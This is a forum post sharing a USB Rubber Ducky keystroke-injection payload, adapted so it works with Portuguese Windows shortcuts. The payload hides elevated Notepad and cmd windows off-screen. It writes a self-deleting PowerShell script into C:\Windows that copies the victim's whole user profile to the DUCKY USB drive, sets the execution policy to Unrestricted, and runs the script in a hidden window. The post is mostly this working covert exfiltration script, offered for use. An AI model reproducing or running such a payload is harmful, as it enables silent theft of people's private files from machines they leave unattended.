LukasS Posted September 6, 2015 Share Posted September 6, 2015 Hy everybody .... as you all know that script and others too doesn't work on other Windows ... why ? because the script is generated for Windows for the Us ... I will explain [have a coffe and cookies ] ... well i'm from portugal and Notepad here works different for the notepad from united states ... for example ... Your's CTRL + S here doesn't work ... for us is CTRL + G ( G=GUARDAR=SAVE :D) soo all the scripts doesn't work for us ... but there is a way to make works things out :) here is the fix for copy users home directory to usb ( with twin duck ) DELAY 3000 GUI r DELAY 750 STRING powershell Start-Process notepad -Verb runAs ENTER DELAY 1000 LEFTARROW DELAY 500 ENTER DELAY 2000 ALT SPACE DELAY 500 STRING m DELAY 200 DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW ENTER STRING $userDir = (Get-ChildItem env:\userprofile).value + '\' ENTER STRING $usbPresent = 'False' ENTER STRING do { ENTER STRING $present = Get-WMIObject Win32_Volume | ? { $_.Label -eq 'DUCKY' } | Measure ENTER STRING if ($present.Count -ge 1){ ENTER STRING $usbPresent = 'True' }Else { ENTER STRING $usbPresent = 'False'}} ENTER STRING until ($usbPresent -eq 'True') ENTER STRING $driveLetter = Get-WMIObject Win32_Volume | ? { $_.Label -eq 'DUCKY' } | select Name ENTER STRING $usbPath = Get-WMIObject Win32_Volume | ? { $_.Label -eq 'DUCKY' } | select name ENTER STRING copy-item $userDir $usbPath.Name -recurse ENTER STRING Remove-Item $MyINvocation.InvocationName ENTER DELAY 500 ALT F4 LEFTARROW LEFTARROW LEFTARROW ENTER DELAY 1500 STRING C:\Windows\config-a7243.ps1 ENTER DELAY 2000 ALT F4 DELAY 200 GUI r DELAY 500 STRING powershell Start-Process cmd -Verb runAs ENTER DELAY 1500 LEFTARROW DELAY 1000 ENTER DELAY 500 STRING mode con:cols=14 lines=1 ENTER DELAY 500 ALT SPACE DELAY 1000 STRING m DELAY 200 DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW ENTER STRING powershell Set-ExecutionPolicy 'Unrestricted' -Scope CurrentUser -Confirm:$false ENTER DELAY 2000 STRING powershell.exe -windowstyle hidden -File C:\Windows\config-a7243.ps1 ENTER it needs some downarrow to hide for complete but you can add laters ... all you have to do is look at the source code and change from CTRL + S too ALT + F4 because this will try to close notepad then you leftarrow leftarrow and will click SAVE or Guardar and then the script will work ... i have delay very mutch to see everythings is working you can edit that too for fast usage ... I will help more this community and will work on scripts for that the scripts will go universal ;) thank you all Quote Link to comment Share on other sites More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.